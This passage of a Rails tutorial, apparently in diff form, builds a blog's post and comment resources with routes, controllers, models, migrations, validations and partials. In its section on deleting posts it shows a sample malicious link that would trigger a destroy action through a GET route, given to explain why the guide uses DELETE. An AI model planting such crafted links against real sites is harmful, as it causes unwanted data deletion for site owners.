+In the Blog application, you will now create a new _resource_. A resource is the term used for a collection of similar objects, such as posts, people or animals. You can create, read, update and destroy items for a resource and these operations are referred to as _CRUD_ operations.
+
+In the next section, you will add the ability to create new posts in your application and be able to view them. This is the "C" and the "R" from CRUD: creation and reading. The form for doing this will look like this:
+
+
+
+It will look a little basic for now, but that's ok. We'll look at improving the styling for it afterwards.
+
+### Laying down the ground work
+
+The first thing that you are going to need to create a new post within the application is a place to do that. A great place for that would be at `/posts/new`. If you attempt to navigate to that now — by visiting <http://localhost:3000/posts/new> — Rails will give you a routing error:
+
+
+
+This is because there is nowhere inside the routes for the application — defined inside `config/routes.rb` — that defines this route. By default, Rails has no routes configured at all, besides the root route you defined earlier, and so you must define your routes as you need them.
+
+ To do this, you're going to need to create a route inside `config/routes.rb` file, on a new line between the `do` and the `end` for the `draw` method:
+
+```ruby
+get "posts/new"
+```
+
+This route is a super-simple route: it defines a new route that only responds to `GET` requests, and that the route is at `posts/new`. But how does it know where to go without the use of the `:to` option? Well, Rails uses a sensible default here: Rails will assume that you want this route to go to the new action inside the posts controller.
+
+With the route defined, requests can now be made to `/posts/new` in the application. Navigate to <http://localhost:3000/posts/new> and you'll see another routing error:
+
+
+
+This error occurs because the route needs to have a controller defined in order to serve the request. The solution to this particular problem is simple: create a controller called `PostsController`. You can do this by running this command:
+
+```bash
+$ rails g controller posts
+```
+
+If you open up the newly generated `app/controllers/posts_controller.rb` you'll see a fairly empty controller:
+
+```ruby
+class PostsController < ApplicationController
+end
+```
+
+A controller is simply a class that is defined to inherit from `ApplicationController`. It's inside this class that you'll define methods that will become the actions for this controller. These actions will perform CRUD operations on the posts within our system.
+
+If you refresh <http://localhost:3000/posts/new> now, you'll get a new error:
+
+
+
+This error indicates that Rails cannot find the `new` action inside the `PostsController` that you just generated. This is because when controllers are generated in Rails they are empty by default, unless you tell it you wanted actions during the generation process.
+
+To manually define an action inside a controller, all you need to do is to define a new method inside the controller. Open `app/controllers/posts_controller.rb` and inside the `PostsController` class, define a `new` method like this:
+
+```ruby
+def new
+end
+```
+
+With the `new` method defined in `PostsController`, if you refresh <http://localhost:3000/posts/new> you'll see another error:
+
+
+
+You're getting this error now because Rails expects plain actions like this one to have views associated with them to display their information. With no view available, Rails errors out.
+
+In the above image, the bottom line has been truncated. Let's see what the full thing looks like:
+
+<blockquote>
+Missing template posts/new, application/new with {locale:[:en], formats:[:html], handlers:[:erb, :builder, :coffee]}. Searched in: * "/path/to/blog/app/views"
+</blockquote>
+
+That's quite a lot of text! Let's quickly go through and understand what each part of it does.
+
+The first part identifies what template is missing. In this case, it's the `posts/new` template. Rails will first look for this template. If not found, then it will attempt to load a template called `application/new`. It looks for one here because the `PostsController` inherits from `ApplicationController`.
+
+The next part of the message contains a hash. The `:locale` key in this hash simply indicates what spoken language template should be retrieved. By default, this is the English — or "en" — template. The next key, `:formats` specifies the format of template to be served in response. The default format is `:html`, and so Rails is looking for an HTML template. The final key, `:handlers`, is telling us what _template handlers_ could be used to render our template. `:erb` is most commonly use [...]
+
+The final part of this message tells us where Rails has looked for the templates. Templates within a basic Rails application like this are kept in a single location, but in more complex applications it could be many different paths.
+
+The simplest template that would work in this case would be one located at `app/views/posts/new.html.erb`. The extension of this file name is key: the first extension is the _format_ of the template, and the second extension is the _handler_ that will be used. Rails is attempting to find a template called `posts/new` within `app/views` for the application. The format for this template can only be `html` and the handler must be one of `erb`, `builder` or `coffee`. Because you want to crea [...]
+
+Go ahead now and create a new file at `app/views/posts/new.html.erb` and write this content in it:
+
+```html
+<h1>New Post</h1>
+```
+
+When you refresh <http://localhost:3000/posts/new> you'll now see that the page has a title. The route, controller, action and view are now working harmoniously! It's time to create the form for a new post.
+
+### The first form
+
+To create a form within this template, you will use a <em>form
+builder</em>. The primary form builder for Rails is provided by a helper
+method called `form_for`. To use this method, add this code into `app/views/posts/new.html.erb`:
+
+```html+erb
+<%= form_for :post do |f| %>
+ <p>
+ <%= f.label :title %><br>
+ <%= f.text_field :title %>
+ </p>
+
+ <p>
+ <%= f.label :text %><br>
+ <%= f.text_area :text %>
+ </p>
+
+ <p>
+ <%= f.submit %>
+ </p>
+<% end %>
+```
+
+If you refresh the page now, you'll see the exact same form as in the example. Building forms in Rails is really just that easy!
+
+When you call `form_for`, you pass it an identifying object for this
+form. In this case, it's the symbol `:post`. This tells the `form_for`
+helper what this form is for. Inside the block for this method, the
+`FormBuilder` object — represented by `f` — is used to build two labels and two text fields, one each for the title and text of a post. Finally, a call to `submit` on the `f` object will create a submit button for the form.
+
+There's one problem with this form though. If you inspect the HTML that is generated, by viewing the source of the page, you will see that the `action` attribute for the form is pointing at `/posts/new`. This is a problem because this route goes to the very page that you're on right at the moment, and that route should only be used to display the form for a new post.
+
+The form needs to use a different URL in order to go somewhere else.
+This can be done quite simply with the `:url` option of `form_for`.
+Typically in Rails, the action that is used for new form submissions
+like this is called "create", and so the form should be pointed to that action.
+
+Edit the `form_for` line inside `app/views/posts/new.html.erb` to look like this:
+
+```html+erb
+<%= form_for :post, url: { action: :create } do |f| %>
+```
+
+In this example, a `Hash` object is passed to the `:url` option. What Rails will do with this is that it will point the form to the `create` action of the current controller, the `PostsController`, and will send a `POST` request to that route. For this to work, you will need to add a route to `config/routes.rb`, right underneath the one for "posts/new":
+
+```ruby
+post "posts" => "posts#create"
+```
+
+By using the `post` method rather than the `get` method, Rails will define a route that will only respond to POST methods. The POST method is the typical method used by forms all over the web.
+
+With the form and its associated route defined, you will be able to fill in the form and then click the submit button to begin the process of creating a new post, so go ahead and do that. When you submit the form, you should see a familiar error:
+
+
+
+You now need to create the `create` action within the `PostsController` for this to work.
+
+### Creating posts
+
+To make the "Unknown action" go away, you can define a `create` action within the `PostsController` class in `app/controllers/posts_controller.rb`, underneath the `new` action:
+
+```ruby
+class PostsController < ApplicationController
+ def new
+ end
+
+ def create
+ end
+end
+```
+
+If you re-submit the form now, you'll see another familiar error: a template is missing. That's ok, we can ignore that for now. What the `create` action should be doing is saving our new post to a database.
+
+When a form is submitted, the fields of the form are sent to Rails as _parameters_. These parameters can then be referenced inside the controller actions, typically to perform a particular task. To see what these parameters look like, change the `create` action to this:
+
+```ruby
+def create
+ render text: params[:post].inspect
+end
+```
+
+The `render` method here is taking a very simple hash with a key of `text` and value of `params[:post].inspect`. The `params` method is the object which represents the parameters (or fields) coming in from the form. The `params` method returns an `ActiveSupport::HashWithIndifferentAccess` object, which allows you to access the keys of the hash using either strings or symbols. In this situation, the only parameters that matter are the ones from the form.
+
+If you re-submit the form one more time you'll now no longer get the missing template error. Instead, you'll see something that looks like the following:
+
+```ruby
+{"title"=>"First post!", "text"=>"This is my first post."}
+```
+
+This action is now displaying the parameters for the post that are coming in from the form. However, this isn't really all that helpful. Yes, you can see the parameters but nothing in particular is being done with them.
+
+### Creating the Post model
+
+Models in Rails use a singular name, and their corresponding database tables use
+a plural name. Rails provides a generator for creating models, which
+most Rails developers tend to use when creating new models.
+To create the new model, run this command in your terminal:
+
+```bash
+$ rails generate model Post title:string text:text
+```
+
+With that command we told Rails that we want a `Post` model, together
+with a _title_ attribute of type string, and a _text_ attribute
+of type text. Those attributes are automatically added to the `posts`
+table in the database and mapped to the `Post` model.
+
+Rails responded by creating a bunch of files. For
+now, we're only interested in `app/models/post.rb` and
+`db/migrate/20120419084633_create_posts.rb` (your name could be a bit
+different). The latter is responsible
+for creating the database structure, which is what we'll look at next.
+
+TIP: Active Record is smart enough to automatically map column names to
+model attributes, which means you don't have to declare attributes
+inside Rails models, as that will be done automatically by Active
+Record.
+
+### Running a Migration
+
+As we've just seen, `rails generate model` created a _database
+migration_ file inside the `db/migrate` directory.
+Migrations are Ruby classes that are designed to make it simple to
+create and modify database tables. Rails uses rake commands to run migrations,
+and it's possible to undo a migration after it's been applied to your database.
+Migration filenames include a timestamp to ensure that they're processed in the
+order that they were created.
+
+If you look in the `db/migrate/20120419084633_create_posts.rb` file (remember,
+yours will have a slightly different name), here's what you'll find:
+
+```ruby
+class CreatePosts < ActiveRecord::Migration
+ def change
+ create_table :posts do |t|
+ t.string :title
+ t.text :text
+
+ t.timestamps
+ end
+ end
+end
+```
+
+The above migration creates a method named `change` which will be called when you
+run this migration. The action defined in this method is also reversible, which
+means Rails knows how to reverse the change made by this migration, in case you
+want to reverse it later. When you run this migration it will create a
+`posts` table with one string column and a text column. It also creates two
+timestamp fields to allow Rails to track post creation and update times.
+
+TIP: For more information about migrations, refer to [Rails Database
+Migrations](migrations.html).
+
+At this point, you can use a rake command to run the migration:
+
+```bash
+$ rake db:migrate
+```
+
+Rails will execute this migration command and tell you it created the Posts
+table.
+
+```bash
+== CreatePosts: migrating ====================================================
+-- create_table(:posts)
+ -> 0.0019s
+== CreatePosts: migrated (0.0020s) ===========================================
+```
+
+NOTE. Because you're working in the development environment by default, this
+command will apply to the database defined in the `development` section of your
+`config/database.yml` file. If you would like to execute migrations in another
+environment, for instance in production, you must explicitly pass it when
+invoking the command: `rake db:migrate RAILS_ENV=production`.
+
+### Saving data in the controller
+
+Back in `posts_controller`, we need to change the `create` action
+to use the new `Post` model to save the data in the database. Open `app/controllers/posts_controller.rb`
+and change the `create` action to look like this:
+
+```ruby
+def create
+ @post = Post.new(params[:post])
+
+ @post.save
+ redirect_to action: :show, id: @post.id
+end
+```
+
+Here's what's going on: every Rails model can be initialized with its
+respective attributes, which are automatically mapped to the respective
+database columns. In the first line we do just that (remember that
+`params[:post]` contains the attributes we're interested in). Then,
+`@post.save` is responsible for saving the model in the database.
+Finally, we redirect the user to the `show` action,
+which we'll define later.
+
+TIP: As we'll see later, `@post.save` returns a boolean indicating
+whether the model was saved or not.
+
+### Showing Posts
+
+If you submit the form again now, Rails will complain about not finding
+the `show` action. That's not very useful though, so let's add the
+`show` action before proceeding. Open `config/routes.rb` and add the following route:
+
+```ruby
+get "posts/:id" => "posts#show"
+```
+
+The special syntax `:id` tells rails that this route expects an `:id`
+parameter, which in our case will be the id of the post. Note that this
+time we had to specify the actual mapping, `posts#show` because
+otherwise Rails would not know which action to render.
+
+As we did before, we need to add the `show` action in
+`app/controllers/posts_controller.rb` and its respective view.
+
+```ruby
+def show
+ @post = Post.find(params[:id])
+end
+```
+
+A couple of things to note. We use `Post.find` to find the post we're
+interested in. We also use an instance variable (prefixed by `@`) to
+hold a reference to the post object. We do this because Rails will pass all instance
+variables to the view.
+
+Now, create a new file `app/views/posts/show.html.erb` with the following
+content:
+
+```html+erb
+<p>
+ <strong>Title:</strong>
+ <%= @post.title %>
+</p>
+
+<p>
+ <strong>Text:</strong>
+ <%= @post.text %>
+</p>
+```
+
+If you now go to
+<http://localhost:3000/posts/new> you'll *almost* be able to create a post. Try
+it! You should get an error that looks like this:
+
+
+
+Rails has several security features that help you write secure applications,
+and you're running into one of them now. This one is called
+'strong_parameters,' which requires us to tell Rails exactly which parameters
+we want to accept in our controllers. In this case, we want to allow the
+'title' and 'text' parameters, so change your `create` controller action to
+look like this:
+
+```
+ def create
+ @post = Post.new(params[:post].permit(:title, :text))
+
+ @post.save
+ redirect_to action: :show, id: @post.id
+ end
+```
+
+See the `permit`? It allows us to accept both `title` and `text` in this
+action. With this change, you should finally be able to create new `Post`s.
+Visit <http://localhost:3000/posts/new> and give it a try!
+
+
+
+### Listing all posts
+
+We still need a way to list all our posts, so let's do that. As usual,
+we'll need a route placed into `config/routes.rb`:
+
+```ruby
+get "posts" => "posts#index"
+```
+
+And an action for that route inside the `PostsController` in the `app/controllers/posts_controller.rb` file:
+
+```ruby
+def index
+ @posts = Post.all
+end
+```
+
+And then finally a view for this action, located at `app/views/posts/index.html.erb`:
+
+```html+erb
+<h1>Listing posts</h1>
+
+<table>
+ <tr>
+ <th>Title</th>
+ <th>Text</th>
+ </tr>
+
+ <% @posts.each do |post| %>
+ <tr>
+ <td><%= post.title %></td>
+ <td><%= post.text %></td>
+ </tr>
+ <% end %>
+</table>
+```
+
+Now if you go to `http://localhost:3000/posts` you will see a list of all the posts that you have created.
+
+### Adding links
+
+You can now create, show, and list posts. Now let's add some links to
+navigate through pages.
+
+Open `app/views/welcome/index.html.erb` and modify it as follows:
+
+```html+erb
+<h1>Hello, Rails!</h1>
+<%= link_to "My Blog", controller: "posts" %>
+```
+
+The `link_to` method is one of Rails' built-in view helpers. It creates a
+hyperlink based on text to display and where to go - in this case, to the path
+for posts.
+
+Let's add links to the other views as well, starting with adding this "New Post" link to `app/views/posts/index.html.erb`, placing it above the `<table>` tag:
+
+```erb
+<%= link_to 'New post', action: :new %>
+```
+
+This link will allow you to bring up the form that lets you create a new post. You should also add a link to this template — `app/views/posts/new.html.erb` — to go back to the `index` action. Do this by adding this underneath the form in this template:
+
+```erb
+<%= form_for :post do |f| %>
+ ...
+<% end %>
+
+<%= link_to 'Back', action: :index %>
+```
+
+Finally, add another link to the `app/views/posts/show.html.erb` template to go back to the `index` action as well, so that people who are viewing a single post can go back and view the whole list again:
+
+```html+erb
+<p>
+ <strong>Title:</strong>
+ <%= @post.title %>
+</p>
+
+<p>
+ <strong>Text:</strong>
+ <%= @post.text %>
+</p>
+
+<%= link_to 'Back', action: :index %>
+```
+
+TIP: If you want to link to an action in the same controller, you don't
+need to specify the `:controller` option, as Rails will use the current
+controller by default.
+
+TIP: In development mode (which is what you're working in by default), Rails
+reloads your application with every browser request, so there's no need to stop
+and restart the web server when a change is made.
+
+### Allowing the update of fields
+
+The model file, `app/models/post.rb` is about as simple as it can get:
+
+```ruby
+class Post < ActiveRecord::Base
+end
+```
+
+There isn't much to this file - but note that the `Post` class inherits from
+`ActiveRecord::Base`. Active Record supplies a great deal of functionality to
+your Rails models for free, including basic database CRUD (Create, Read, Update,
+Destroy) operations, data validation, as well as sophisticated search support
+and the ability to relate multiple models to one another.
+
+### Adding Some Validation
+
+Rails includes methods to help you validate the data that you send to models.
+Open the `app/models/post.rb` file and edit it:
+
+```ruby
+class Post < ActiveRecord::Base
+ validates :title, presence: true,
+ length: { minimum: 5 }
+end
+```
+
+These changes will ensure that all posts have a title that is at least five
+characters long. Rails can validate a variety of conditions in a model,
+including the presence or uniqueness of columns, their format, and the
+existence of associated objects. Validations are covered in detail in [Active
+Record Validations](active_record_validations.html)
+
+With the validation now in place, when you call `@post.save` on an invalid
+post, it will return `false`. If you open `app/controllers/posts_controller.rb`
+again, you'll notice that we don't check the result of calling `@post.save`
+inside the `create` action. If `@post.save` fails in this situation, we need to
+show the form back to the user. To do this, change the `new` and `create`
+actions inside `app/controllers/posts_controller.rb` to these:
+
+```ruby
+def new
+ @post = Post.new
+end
+
+def create
+ @post = Post.new(params[:post].permit(:title, :text))
+
+ if @post.save
+ redirect_to action: :show, id: @post.id
+ else
+ render 'new'
+ end
+end
+```
+
+The `new` action is now creating a new instance variable called `@post`, and
+you'll see why that is in just a few moments.
+
+Notice that inside the `create` action we use `render` instead of `redirect_to` when `save`
+returns `false`. The `render` method is used so that the `@post` object is passed back to the `new` template when it is rendered. This rendering is done within the same request as the form submission, whereas the `redirect_to` will tell the browser to issue another request.
+
+If you reload
+<http://localhost:3000/posts/new> and
+try to save a post without a title, Rails will send you back to the
+form, but that's not very useful. You need to tell the user that
+something went wrong. To do that, you'll modify
+`app/views/posts/new.html.erb` to check for error messages:
+
+```html+erb
+<%= form_for :post, url: { action: :create } do |f| %>
+ <% if @post.errors.any? %>
+ <div id="errorExplanation">
+ <h2><%= pluralize(@post.errors.count, "error") %> prohibited
+ this post from being saved:</h2>
+ <ul>
+ <% @post.errors.full_messages.each do |msg| %>
+ <li><%= msg %></li>
+ <% end %>
+ </ul>
+ </div>
+ <% end %>
+ <p>
+ <%= f.label :title %><br>
+ <%= f.text_field :title %>
+ </p>
+
+ <p>
+ <%= f.label :text %><br>
+ <%= f.text_area :text %>
+ </p>
+
+ <p>
+ <%= f.submit %>
+ </p>
+<% end %>
+
+<%= link_to 'Back', action: :index %>
+```
+
+A few things are going on. We check if there are any errors with
+`@post.errors.any?`, and in that case we show a list of all
+errors with `@post.errors.full_messages`.
+
+`pluralize` is a rails helper that takes a number and a string as its
+arguments. If the number is greater than one, the string will be automatically pluralized.
+
+The reason why we added `@post = Post.new` in `posts_controller` is that
+otherwise `@post` would be `nil` in our view, and calling
+`@post.errors.any?` would throw an error.
+
+TIP: Rails automatically wraps fields that contain an error with a div
+with class `field_with_errors`. You can define a css rule to make them
+standout.
+
+Now you'll get a nice error message when saving a post without title when you
+attempt to do just that on the new post form [(http://localhost:3000/posts/new)](http://localhost:3000/posts/new).
+
+
+
+### Updating Posts
+
+We've covered the "CR" part of CRUD. Now let's focus on the "U" part, updating posts.
+
+The first step we'll take is adding an `edit` action to `posts_controller`.
+
+Start by adding a route to `config/routes.rb`:
+
+```ruby
+get "posts/:id/edit" => "posts#edit"
+```
+
+And then add the controller action:
+
+```ruby
+def edit
+ @post = Post.find(params[:id])
+end
+```
+
+The view will contain a form similar to the one we used when creating
+new posts. Create a file called `app/views/posts/edit.html.erb` and make
+it look as follows:
+
+```html+erb
+<h1>Editing post</h1>
+
+<%= form_for :post, url: { action: :update, id: @post.id },
+method: :patch do |f| %>
+ <% if @post.errors.any? %>
+ <div id="errorExplanation">
+ <h2><%= pluralize(@post.errors.count, "error") %> prohibited
+ this post from being saved:</h2>
+ <ul>
+ <% @post.errors.full_messages.each do |msg| %>
+ <li><%= msg %></li>
+ <% end %>
+ </ul>
+ </div>
+ <% end %>
+ <p>
+ <%= f.label :title %><br>
+ <%= f.text_field :title %>
+ </p>
+
+ <p>
+ <%= f.label :text %><br>
+ <%= f.text_area :text %>
+ </p>
+
+ <p>
+ <%= f.submit %>
+ </p>
+<% end %>
+
+<%= link_to 'Back', action: :index %>
+```
+
+This time we point the form to the `update` action, which is not defined yet
+but will be very soon.
+
+The `method: :patch` option tells Rails that we want this form to be submitted
+via the `PATCH` HTTP method which is the HTTP method you're expected to use to
+**update** resources according to the REST protocol.
+
+TIP: By default forms built with the _form_for_ helper are sent via `POST`.
+
+Next, we need to add the `update` action. The file
+`config/routes.rb` will need just one more line:
+
+```ruby
+patch "posts/:id" => "posts#update"
+```
+
+And then create the `update` action in `app/controllers/posts_controller.rb`:
+
+```ruby
+def update
+ @post = Post.find(params[:id])
+
+ if @post.update(params[:post].permit(:title, :text))
+ redirect_to action: :show, id: @post.id
+ else
+ render 'edit'
+ end
+end
+```
+
+The new method, `update`, is used when you want to update a record
+that already exists, and it accepts a hash containing the attributes
+that you want to update. As before, if there was an error updating the
+post we want to show the form back to the user.
+
+TIP: You don't need to pass all attributes to `update`. For
+example, if you'd call `@post.update(title: 'A new title')`
+Rails would only update the `title` attribute, leaving all other
+attributes untouched.
+
+Finally, we want to show a link to the `edit` action in the list of all the
+posts, so let's add that now to `app/views/posts/index.html.erb` to make it
+appear next to the "Show" link:
+
+```html+erb
+<table>
+ <tr>
+ <th>Title</th>
+ <th>Text</th>
+ <th></th>
+ <th></th>
+ </tr>
+
+<% @posts.each do |post| %>
+ <tr>
+ <td><%= post.title %></td>
+ <td><%= post.text %></td>
+ <td><%= link_to 'Show', action: :show, id: post.id %></td>
+ <td><%= link_to 'Edit', action: :edit, id: post.id %></td>
+ </tr>
+<% end %>
+</table>
+```
+
+And we'll also add one to the `app/views/posts/show.html.erb` template as well,
+so that there's also an "Edit" link on a post's page. Add this at the bottom of
+the template:
+
+```html+erb
+...
+
+<%= link_to 'Back', action: :index %>
+| <%= link_to 'Edit', action: :edit, id: @post.id %>
+```
+
+And here's how our app looks so far:
+
+
+
+### Using partials to clean up duplication in views
+
+Our `edit` page looks very similar to the `new` page, in fact they
+both share the same code for displaying the form. Let's remove some duplication
+by using a view partial. By convention, partial files are prefixed by an
+underscore.
+
+TIP: You can read more about partials in the
+[Layouts and Rendering in Rails](layouts_and_rendering.html) guide.
+
+Create a new file `app/views/posts/_form.html.erb` with the following
+content:
+
+```html+erb
+<%= form_for @post do |f| %>
+ <% if @post.errors.any? %>
+ <div id="errorExplanation">
+ <h2><%= pluralize(@post.errors.count, "error") %> prohibited
+ this post from being saved:</h2>
+ <ul>
+ <% @post.errors.full_messages.each do |msg| %>
+ <li><%= msg %></li>
+ <% end %>
+ </ul>
+ </div>
+ <% end %>
+ <p>
+ <%= f.label :title %><br>
+ <%= f.text_field :title %>
+ </p>
+
+ <p>
+ <%= f.label :text %><br>
+ <%= f.text_area :text %>
+ </p>
+
+ <p>
+ <%= f.submit %>
+ </p>
+<% end %>
+```
+
+Everything except for the `form_for` declaration remained the same.
+How `form_for` can figure out the right `action` and `method` attributes
+when building the form will be explained in just a moment. For now, let's update the
+`app/views/posts/new.html.erb` view to use this new partial, rewriting it
+completely:
+
+```html+erb
+<h1>New post</h1>
+
+<%= render 'form' %>
+
+<%= link_to 'Back', action: :index %>
+```
+
+Then do the same for the `app/views/posts/edit.html.erb` view:
+
+```html+erb
+<h1>Edit post</h1>
+
+<%= render 'form' %>
+
+<%= link_to 'Back', action: :index %>
+```
+
+Point your browser to <http://localhost:3000/posts/new> and
+try creating a new post. Everything still works. Now try editing the
+post and you'll receive the following error:
+
+
+
+To understand this error, you need to understand how `form_for` works.
+When you pass an object to `form_for` and you don't specify a `:url`
+option, Rails will try to guess the `action` and `method` options by
+checking if the passed object is a new record or not. Rails follows the
+REST convention, so to create a new `Post` object it will look for a
+route named `posts_path`, and to update a `Post` object it will look for
+a route named `post_path` and pass the current object. Similarly, rails
+knows that it should create new objects via POST and update them via
+PATCH.
+
+If you run `rake routes` from the console you'll see that we already
+have a `posts_path` route, which was created automatically by Rails when we
+defined the route for the index action.
+However, we don't have a `post_path` yet, which is the reason why we
+received an error before. With your server running you can view your routes by visiting [localhost:3000/rails/info/routes](http://localhost:3000/rails/info/routes), or you can generate them from the command line by running `rake routes`:
+
+```bash
+$ rake routes
+
+ posts GET /posts(.:format) posts#index
+posts_new GET /posts/new(.:format) posts#new
+ POST /posts(.:format) posts#create
+ GET /posts/:id(.:format) posts#show
+ GET /posts/:id/edit(.:format) posts#edit
+ PATCH /posts/:id(.:format) posts#update
+ root / welcome#index
+```
+
+To fix this, open `config/routes.rb` and modify the `get "posts/:id"`
+line like this:
+
+```ruby
+get "posts/:id" => "posts#show", as: :post
+```
+
+The `:as` option tells the `get` method that we want to make routing helpers
+called `post_url` and `post_path` available to our application. These are
+precisely the methods that the `form_for` needs when editing a post, and so now
+you'll be able to update posts again.
+
+NOTE: The `:as` option is available on the `post`, `patch`, `put`, `delete` and `match`
+routing methods also.
+
+### Deleting Posts
+
+We're now ready to cover the "D" part of CRUD, deleting posts from the
+database. Following the REST convention, we're going to add a route for
+deleting posts to `config/routes.rb`:
+
+```ruby
+delete "posts/:id" => "posts#destroy"
+```
+
+The `delete` routing method should be used for routes that destroy
+resources. If this was left as a typical `get` route, it could be possible for
+people to craft malicious URLs like this:
+
+```html
+<a href='http://example.com/posts/1/destroy'>look at this cat!</a>
+```
+
+We use the `delete` method for destroying resources, and this route is mapped to
+the `destroy` action inside `app/controllers/posts_controller.rb`, which doesn't exist yet, but is
+provided below:
+
+```ruby
+def destroy
+ @post = Post.find(params[:id])
+ @post.destroy
+
+ redirect_to action: :index
+end
+```
+
+You can call `destroy` on Active Record objects when you want to delete
+them from the database. Note that we don't need to add a view for this
+action since we're redirecting to the `index` action.
+
+Finally, add a 'destroy' link to your `index` action template
+(`app/views/posts/index.html.erb`) to wrap everything
+together.
+
+```html+erb
+<h1>Listing Posts</h1>
+<table>
+ <tr>
+ <th>Title</th>
+ <th>Text</th>
+ <th></th>
+ <th></th>
+ <th></th>
+ </tr>
+
+<% @posts.each do |post| %>
+ <tr>
+ <td><%= post.title %></td>
+ <td><%= post.text %></td>
+ <td><%= link_to 'Show', action: :show, id: post.id %></td>
+ <td><%= link_to 'Edit', action: :edit, id: post.id %></td>
+ <td><%= link_to 'Destroy', { action: :destroy, id: post.id },
+ method: :delete, data: { confirm: 'Are you sure?' } %></td>
+ </tr>
+<% end %>
+</table>
+```
+
+Here we're using `link_to` in a different way. We wrap the
+`:action` and `:id` attributes in a hash so that we can pass those two keys in
+first as one argument, and then the final two keys as another argument. The `:method` and `:'data-confirm'`
+options are used as HTML5 attributes so that when the link is clicked,
+Rails will first show a confirm dialog to the user, and then submit the link with method `delete`.
+This is done via the JavaScript file `jquery_ujs` which is automatically included
+into your application's layout (`app/views/layouts/application.html.erb`) when you
+generated the application. Without this file, the confirmation dialog box wouldn't appear.
+
+
+
+Congratulations, you can now create, show, list, update and destroy
+posts. In the next section will see how Rails can aid us when creating
+REST applications, and how we can refactor our Blog app to take
+advantage of it.
+
+### Going Deeper into REST
+
+We've now covered all the CRUD actions of a REST app. We did so by
+declaring separate routes with the appropriate verbs into
+`config/routes.rb`. Here's how that file looks so far:
+
+```ruby
+get "posts" => "posts#index"
+get "posts/new"
+post "posts" => "posts#create"
+get "posts/:id" => "posts#show", as: :post
+get "posts/:id/edit" => "posts#edit"
+patch "posts/:id" => "posts#update"
+delete "posts/:id" => "posts#destroy"
+```
+
+That's a lot to type for covering a single **resource**. Fortunately,
+Rails provides a `resources` method which can be used to declare a
+standard REST resource. Here's how `config/routes.rb` looks after the
+cleanup:
+
+```ruby
+Blog::Application.routes.draw do
+
+ resources :posts
+
+ root to: "welcome#index"
+end
+```
+
+If you run `rake routes`, you'll see that all the routes that we
+declared before are still available:
+
+```bash
+$ rake routes
+ posts GET /posts(.:format) posts#index
+ POST /posts(.:format) posts#create
+ new_post GET /posts/new(.:format) posts#new
+edit_post GET /posts/:id/edit(.:format) posts#edit
+ post GET /posts/:id(.:format) posts#show
+ PATCH /posts/:id(.:format) posts#update
+ PUT /posts/:id(.:format) posts#update
+ DELETE /posts/:id(.:format) posts#destroy
+ root / welcome#index
+```
+
+Also, if you go through the motions of creating, updating and deleting
+posts the app still works as before.
+
+TIP: In general, Rails encourages the use of resources objects in place
+of declaring routes manually. It was only done in this guide as a learning
+exercise. For more information about routing, see
+[Rails Routing from the Outside In](routing.html).
+
+Adding a Second Model
+---------------------
+
+It's time to add a second model to the application. The second model will handle comments on
+posts.
+
+### Generating a Model
+
+We're going to see the same generator that we used before when creating
+the `Post` model. This time we'll create a `Comment` model to hold
+reference of post comments. Run this command in your terminal:
+
+```bash
+$ rails generate model Comment commenter:string body:text post:references
+```
+
+This command will generate four files:
+
+| File | Purpose |
+| -------------------------------------------- | ------------------------------------------------------------------------------------------------------ |
+| db/migrate/20100207235629_create_comments.rb | Migration to create the comments table in your database (your name will include a different timestamp) |
+| app/models/comment.rb | The Comment model |
+| test/models/comment_test.rb | Testing harness for the comments model |
+| test/fixtures/comments.yml | Sample comments for use in testing |
+
+First, take a look at `app/models/comment.rb`:
+
+```ruby
+class Comment < ActiveRecord::Base
+ belongs_to :post
+end
+```
+
+This is very similar to the `post.rb` model that you saw earlier. The difference
+is the line `belongs_to :post`, which sets up an Active Record _association_.
+You'll learn a little about associations in the next section of this guide.
+
+In addition to the model, Rails has also made a migration to create the
+corresponding database table:
+
+```ruby
+class CreateComments < ActiveRecord::Migration
+ def change
+ create_table :comments do |t|
+ t.string :commenter
+ t.text :body
+ t.references :post
+
+ t.timestamps
+ end
+
+ add_index :comments, :post_id
+ end
+end
+```
+
+The `t.references` line sets up a foreign key column for the association between
+the two models. And the `add_index` line sets up an index for this association
+column. Go ahead and run the migration:
+
+```bash
+$ rake db:migrate
+```
+
+Rails is smart enough to only execute the migrations that have not already been
+run against the current database, so in this case you will just see:
+
+```bash
+== CreateComments: migrating =================================================
+-- create_table(:comments)
+ -> 0.0008s
+-- add_index(:comments, :post_id)
+ -> 0.0003s
+== CreateComments: migrated (0.0012s) ========================================
+```
+
+### Associating Models
+
+Active Record associations let you easily declare the relationship between two
+models. In the case of comments and posts, you could write out the relationships
+this way:
+
+* Each comment belongs to one post.
+* One post can have many comments.
+
+In fact, this is very close to the syntax that Rails uses to declare this
+association. You've already seen the line of code inside the `Comment` model (app/models/comment.rb) that
+makes each comment belong to a Post:
+
+```ruby
+class Comment < ActiveRecord::Base
+ belongs_to :post
+end
+```
+
+You'll need to edit `app/models/post.rb` to add the other side of the association:
+
+```ruby
+class Post < ActiveRecord::Base
+ has_many :comments
+ validates :title, presence: true,
+ length: { minimum: 5 }
+ [...]
+end
+```
+
+These two declarations enable a good bit of automatic behavior. For example, if
+you have an instance variable `@post` containing a post, you can retrieve all
+the comments belonging to that post as an array using `@post.comments`.
+
+TIP: For more information on Active Record associations, see the [Active Record
+Associations](association_basics.html) guide.
+
+### Adding a Route for Comments
+
+As with the `welcome` controller, we will need to add a route so that Rails knows
+where we would like to navigate to see `comments`. Open up the
+`config/routes.rb` file again, and edit it as follows:
+
+```ruby
+resources :posts do
+ resources :comments
+end
+```
+
+This creates `comments` as a _nested resource_ within `posts`. This is another
+part of capturing the hierarchical relationship that exists between posts and
+comments.
+
+TIP: For more information on routing, see the [Rails Routing](routing.html) guide.
+
+### Generating a Controller
+
+With the model in hand, you can turn your attention to creating a matching
+controller. Again, we'll use the same generator we used before:
+
+```bash
+$ rails generate controller Comments
+```
+
+This creates six files and one empty directory:
+
+| File/Directory | Purpose |
+| -------------------------------------------- | ---------------------------------------- |
+| app/controllers/comments_controller.rb | The Comments controller |
+| app/views/comments/ | Views of the controller are stored here |
+| test/controllers/comments_controller_test.rb | The test for the controller |
+| app/helpers/comments_helper.rb | A view helper file |
+| test/helpers/comments_helper_test.rb | The test for the helper |
+| app/assets/javascripts/comment.js.coffee | CoffeeScript for the controller |
+| app/assets/stylesheets/comment.css.scss | Cascading style sheet for the controller |
+
+Like with any blog, our readers will create their comments directly after
+reading the post, and once they have added their comment, will be sent back to
+the post show page to see their comment now listed. Due to this, our
+`CommentsController` is there to provide a method to create comments and delete
+spam comments when they arrive.
+
+So first, we'll wire up the Post show template
